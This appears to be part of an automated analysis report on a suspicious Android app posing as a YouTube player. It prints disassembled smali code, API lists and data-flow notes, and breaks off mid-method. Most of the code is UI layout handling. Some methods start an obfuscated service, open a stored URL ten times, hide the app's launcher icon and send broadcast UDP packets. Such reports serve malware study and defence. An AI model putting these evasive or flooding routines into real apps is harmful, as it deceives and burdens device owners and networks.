112iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
113iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
115iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
117iget-object v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->x:Landroid/widget/RelativeLayout;
119invoke-virtual {v1}, Landroid/widget/RelativeLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
120move-result-object v1
121iput v3, v1, Landroid/view/ViewGroup$LayoutParams;->width:I
123iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
125iget-object v2, v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->x:Landroid/widget/RelativeLayout;
127invoke-virtual {v2, v1}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
129sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->k:Landroid/widget/LinearLayout;
131invoke-virtual {v1, v0}, Landroid/widget/LinearLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
133iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
135iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->l:Landroid/widget/FrameLayout;
137invoke-virtual {v0}, Landroid/widget/FrameLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
138move-result-object v0
139iput v3, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
141iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
142iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
143iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
145iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
147iget-object v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->l:Landroid/widget/FrameLayout;
149invoke-virtual {v1, v0}, Landroid/widget/FrameLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
151iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
153iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
155invoke-virtual {v0}, Landroid/widget/RelativeLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
156move-result-object v0
157iput v3, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
159iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
160iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
162iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
163iget v2, v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Q:I
164sub-int/2addr v1, v2
165iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
167iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
169iget-object v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
171invoke-virtual {v1, v0}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
173invoke-static {}, Lcom/pedqaesf/app/player/c;->b()Landroid/webkit/WebView;
174move-result-object v0
176invoke-virtual {v0}, Landroid/webkit/WebView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
177move-result-object v0
178iput v3, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
180iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
181iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->M:I
183iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
184iget v2, v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Q:I
185sub-int/2addr v1, v2
186iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
188iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
190iget-object v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
192invoke-static {}, Lcom/pedqaesf/app/player/c;->b()Landroid/webkit/WebView;
193move-result-object v2
195invoke-virtual {v1, v2, v0}, Landroid/widget/RelativeLayout;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
197iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
199iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ae:Landroid/widget/ImageView;
201iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
203invoke-virtual {v1}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getResources()Landroid/content/res/Resources;
204move-result-object v1
205const v2, 0x7f020065
207invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
  • Data flow analysis:
    • id: 2130837605
208move-result-object v1
210invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
211goto_10f: return-void
212cond_110:
213iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
215iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
217iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
218iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
219iput v1, v0, Landroid/view/WindowManager$LayoutParams;->width:I
221iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
223iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
225iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
226iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->O:I
227iput v1, v0, Landroid/view/WindowManager$LayoutParams;->height:I
229sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->f:Landroid/view/WindowManager;
231sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
233iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
235iget-object v2, v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->q:Landroid/view/WindowManager$LayoutParams;
237invoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
239iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
241iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->x:Landroid/widget/RelativeLayout;
243invoke-virtual {v0}, Landroid/widget/RelativeLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
244move-result-object v0
246iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
247iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->P:I
248iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
250iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
252iget-object v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->x:Landroid/widget/RelativeLayout;
254invoke-virtual {v1, v0}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
256sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->k:Landroid/widget/LinearLayout;
258invoke-virtual {v0}, Landroid/widget/LinearLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
259move-result-object v0
261iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
262iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
263iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
265iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
266iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->O:I
267iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
269sget-object v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->k:Landroid/widget/LinearLayout;
271invoke-virtual {v1, v0}, Landroid/widget/LinearLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
273iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
275iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->l:Landroid/widget/FrameLayout;
277invoke-virtual {v0}, Landroid/widget/FrameLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
278move-result-object v0
280iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
281iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
282iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
284iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
285iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->O:I
286iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
288iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
290iget-object v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->l:Landroid/widget/FrameLayout;
292invoke-virtual {v1, v0}, Landroid/widget/FrameLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
294iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
296iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
298invoke-virtual {v0}, Landroid/widget/RelativeLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
299move-result-object v0
301iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
302iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
303iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
305iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
306iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->O:I
308iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
309iget v2, v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Q:I
310sub-int/2addr v1, v2
311iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
313iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
315iget-object v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
317invoke-virtual {v1, v0}, Landroid/widget/RelativeLayout;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
319invoke-static {}, Lcom/pedqaesf/app/player/c;->b()Landroid/webkit/WebView;
320move-result-object v0
322invoke-virtual {v0}, Landroid/webkit/WebView;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
323move-result-object v0
325iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
326iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->N:I
327iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->width:I
329iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
330iget v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->O:I
332iget-object v2, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
333iget v2, v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->Q:I
334sub-int/2addr v1, v2
335iput v1, v0, Landroid/view/ViewGroup$LayoutParams;->height:I
337iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
339iget-object v1, v1, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->v:Landroid/widget/RelativeLayout;
341invoke-static {}, Lcom/pedqaesf/app/player/c;->b()Landroid/webkit/WebView;
342move-result-object v2
344invoke-virtual {v1, v2, v0}, Landroid/widget/RelativeLayout;->updateViewLayout(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
346iget-object v0, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
348iget-object v0, v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->ae:Landroid/widget/ImageView;
350iget-object v1, p0, Lcom/pedqaesf/app/player/INSYouTubePlayerService$2;->a:Lcom/pedqaesf/app/player/INSYouTubePlayerService;
352invoke-virtual {v1}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->getResources()Landroid/content/res/Resources;
353move-result-object v1
354const v2, 0x7f020064
356invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
  • Data flow analysis:
    • id: 2130837604
357move-result-object v1
359invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
360goto/16 :goto_10f
APIs
  • android.support.v7.app.AppCompatActivity.onCreate
  • com.pedqaesf.app.INSSettingsActivity.setContentView
  • com.pedqaesf.app.INSSettingsActivity.findViewById
  • com.pedqaesf.app.INSSettingsActivity.a
  • com.pedqaesf.app.INSSettingsActivity.e
  • android.support.v7.app.ActionBar.a
  • com.pedqaesf.app.INSSettingsActivity.i
  • com.pedqaesf.app.INSSettingsActivity.getApplicationContext
  • com.pedqaesf.app.INSSettingsActivity.getString
  • android.content.Context.getSharedPreferences
  • com.pedqaesf.app.INSSettingsActivity.getString
  • android.content.SharedPreferences.getInt
  • com.pedqaesf.app.INSSettingsActivity.getString
  • android.content.SharedPreferences.getBoolean
  • android.widget.CheckBox.setChecked
  • android.widget.TextView.setText
  • android.widget.LinearLayout.setOnClickListener
  • android.widget.Button.setOnClickListener
  • android.widget.CheckBox.setOnClickListener
  • android.widget.CheckBox.setOnCheckedChangeListener
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x0
3invoke-super {p0, p1}, Landroid/support/v7/app/AppCompatActivity;->onCreate(Landroid/os/Bundle;)V
4const v0, 0x7f04001e
6invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->setContentView(I)V
  • Data flow analysis:
    • p0: 2130968606
7const v0, 0x7f0f008d
9invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131689613
10move-result-object v0
11check-cast v0, Landroid/support/v7/widget/Toolbar;
13invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSSettingsActivity;->a(Landroid/support/v7/widget/Toolbar;)V
15invoke-virtual {p0}, Lcom/pedqaesf/app/INSSettingsActivity;->e()Landroid/support/v7/app/ActionBar;
16move-result-object v0
17const/4 v1, 0x1
19invoke-virtual {v0, v1}, Landroid/support/v7/app/ActionBar;->a(Z)V
  • Data flow analysis:
    • p0: 1
21invoke-direct {p0}, Lcom/pedqaesf/app/INSSettingsActivity;->i()V
23invoke-virtual {p0}, Lcom/pedqaesf/app/INSSettingsActivity;->getApplicationContext()Landroid/content/Context;
24move-result-object v0
25const v1, 0x7f080017
27invoke-virtual {p0, v1}, Lcom/pedqaesf/app/INSSettingsActivity;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131230743
28move-result-object v1
30invoke-virtual {v0, v1, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • mode: 0
31move-result-object v0
32iput-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->v:Landroid/content/SharedPreferences;
34iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->v:Landroid/content/SharedPreferences;
35const v1, 0x7f080424
37invoke-virtual {p0, v1}, Lcom/pedqaesf/app/INSSettingsActivity;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131231780
38move-result-object v1
39const/4 v2, 0x3
41invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
  • Data flow analysis:
    • p1: 3
42move-result v0
43sput v0, Lcom/pedqaesf/app/b;->e:I
45iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->s:Landroid/widget/CheckBox;
47iget-object v1, p0, Lcom/pedqaesf/app/INSSettingsActivity;->v:Landroid/content/SharedPreferences;
48const v2, 0x7f080036
50invoke-virtual {p0, v2}, Lcom/pedqaesf/app/INSSettingsActivity;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 2131230774
51move-result-object v2
53invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
  • Data flow analysis:
    • p1: 0
54move-result v1
56invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
58iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->u:Landroid/widget/TextView;
60invoke-static {}, Lcom/pedqaesf/app/b;->a()Ljava/lang/String;
61move-result-object v1
63invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
65iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->m:Landroid/widget/LinearLayout;
67invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
69iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->n:Landroid/widget/LinearLayout;
71invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
73iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->o:Landroid/widget/LinearLayout;
75invoke-virtual {v0, p0}, Landroid/widget/LinearLayout;->setOnClickListener(Landroid/view/View$OnClickListener;)V
77iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->p:Landroid/widget/Button;
79invoke-virtual {v0, p0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
81iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->q:Landroid/widget/Button;
83invoke-virtual {v0, p0}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
85iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->r:Landroid/widget/CheckBox;
87invoke-virtual {v0, p0}, Landroid/widget/CheckBox;->setOnClickListener(Landroid/view/View$OnClickListener;)V
89iget-object v0, p0, Lcom/pedqaesf/app/INSSettingsActivity;->s:Landroid/widget/CheckBox;
90new-instance v1, Lcom/pedqaesf/app/INSSettingsActivity$1;
92invoke-direct {v1, p0}, Lcom/pedqaesf/app/INSSettingsActivity$1;-><init>(Lcom/pedqaesf/app/INSSettingsActivity;)V
94invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
95return-void
Cross References
APIs
  • java.lang.String.isEmpty
  • android.content.Intent.<init>
  • com.pedqaesf.app.INSMainActivity.startService
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • com.pedqaesf.app.INSMainActivity.startActivity
  • com.pedqaesf.app.INSMainActivity.getPackageManager
  • android.content.ComponentName.<init>
  • android.content.pm.PackageManager.setComponentEnabledSetting
Strings
  • android.intent.action.VIEW
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->B:Ljava/lang/String;
4invoke-virtual {v0}, Ljava/lang/String;->isEmpty()Z
5move-result v0
6if-nez v0, :cond_48
7new-instance v0, Landroid/content/Intent;
8const-class v1, Lcom/pedqaesf/app/AsyncTask/Vpxbjlowiwzg;
10invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
12invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
13try_start_12: new-instance v1, Landroid/content/Intent;
15const-string v0, "android.intent.action.VIEW"
17iget-object v2, p0, Lcom/pedqaesf/app/INSMainActivity;->B:Ljava/lang/String;
19invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
20move-result-object v2
22invoke-direct {v1, v0, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
23const/high16 v0, 0x10000000
25invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
26const/high16 v0, 0x8000000
28invoke-virtual {v1, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 134217728
29const/4 v0, 0x0
30goto_2a: const/16 v2, 0xa
31if-ge v0, v2, :cond_34
33invoke-virtual {p0, v1}, Lcom/pedqaesf/app/INSMainActivity;->startActivity(Landroid/content/Intent;)V
34add-int/lit8 v0, v0, 0x1
35goto/16 :goto_2a
36cond_34:
37invoke-virtual {p0}, Lcom/pedqaesf/app/INSMainActivity;->getPackageManager()Landroid/content/pm/PackageManager;
38move-result-object v0
39new-instance v1, Landroid/content/ComponentName;
40const-class v2, Lcom/pedqaesf/app/INSSplashActivity;
42invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
43iput-object v1, p0, Lcom/pedqaesf/app/INSMainActivity;->A:Landroid/content/ComponentName;
45iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity;->A:Landroid/content/ComponentName;
46const/4 v2, 0x2
47const/4 v3, 0x1
49invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
  • Data flow analysis:
    • newState: 2
    • flags: 1
50cond_48: return-void
51catch_49: move-exception v0
52goto/16 :goto_48
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.net.URL.openConnection
  • java.net.HttpURLConnection.getInputStream
  • java.io.BufferedInputStream.<init>
  • java.io.InputStreamReader.<init>
  • java.io.BufferedReader.<init>
  • java.io.BufferedReader.readLine
  • java.lang.StringBuilder.append
  • java.lang.Exception.printStackTrace
  • java.net.HttpURLConnection.disconnect
  • java.lang.StringBuilder.toString
  • java.net.HttpURLConnection.disconnect
Position Instruction Meta Information
0.prologue
1new-instance v1, Ljava/lang/StringBuilder;
3invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
4try_start_5:
5iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/b;->b:Ljava/net/URL;
7invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
8move-result-object v0
9check-cast v0, Ljava/net/HttpURLConnection;
10iput-object v0, p0, Lcom/pedqaesf/app/AsyncTask/b;->a:Ljava/net/HttpURLConnection;
11new-instance v0, Ljava/io/BufferedInputStream;
13iget-object v2, p0, Lcom/pedqaesf/app/AsyncTask/b;->a:Ljava/net/HttpURLConnection;
15invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
16move-result-object v2
18invoke-direct {v0, v2}, Ljava/io/BufferedInputStream;-><init>(Ljava/io/InputStream;)V
19new-instance v2, Ljava/io/BufferedReader;
20new-instance v3, Ljava/io/InputStreamReader;
22invoke-direct {v3, v0}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
24invoke-direct {v2, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
25goto_24:
26invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
27move-result-object v0
28if-eqz v0, :cond_3c
30invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
31try_end_2d: goto/16 :goto_24
32catch_2e: move-exception v0
33try_start_2f:
34invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
35try_end_32:
36iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/b;->a:Ljava/net/HttpURLConnection;
38invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
39goto_37:
40invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
41move-result-object v0
42return-object v0
43cond_3c:
44iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/b;->a:Ljava/net/HttpURLConnection;
46invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
47goto/16 :goto_37
48catchall_42: move-exception v0
50iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/b;->a:Ljava/net/HttpURLConnection;
52invoke-virtual {v1}, Ljava/net/HttpURLConnection;->disconnect()V
53throw v0
APIs
  • android.content.Context.getPackageName
  • android.content.Context.getSharedPreferences
  • android.content.SharedPreferences.edit
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.commit
  • android.content.Intent.<init>
  • android.content.Intent.setFlags
  • android.content.Context.startActivity
Position Instruction Meta Information
0.prologue
1const/4 v2, 0x0
3invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
4move-result-object v0
6invoke-virtual {p1, v0, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • mode: 0
7move-result-object v0
9invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
10move-result-object v0
12const-string v1, ""
14invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p1: 0
15move-result-object v0
17invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
18new-instance v0, Landroid/content/Intent;
19const-class v1, Lcom/pedqaesf/app/INSMainActivity;
21invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
22const/4 v1, 0x1
24invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 1
25try_start_21:
26invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
27goto_24: return-void
28catch_25: move-exception v0
29goto/16 :goto_24
APIs
  • java.net.InetAddress.getByName
  • java.lang.Integer.parseInt
  • java.net.DatagramPacket.<init>
  • java.net.DatagramSocket.<init>
  • java.net.DatagramSocket.setBroadcast
  • java.net.DatagramSocket.send
  • java.net.DatagramSocket.close
Position Instruction Meta Information
0.prologue
1try_start_0:
2iget-object v0, p0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a$1;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;
4iget-object v0, v0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb$a;->a:Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;
5const-wide/16 v2, 0x0
6iput-wide v2, v0, Lcom/pedqaesf/app/AsyncTask/Vxrwzmvghcbb;->a:J
7const/16 v0, 0x200
8new-array v0, v0, [B
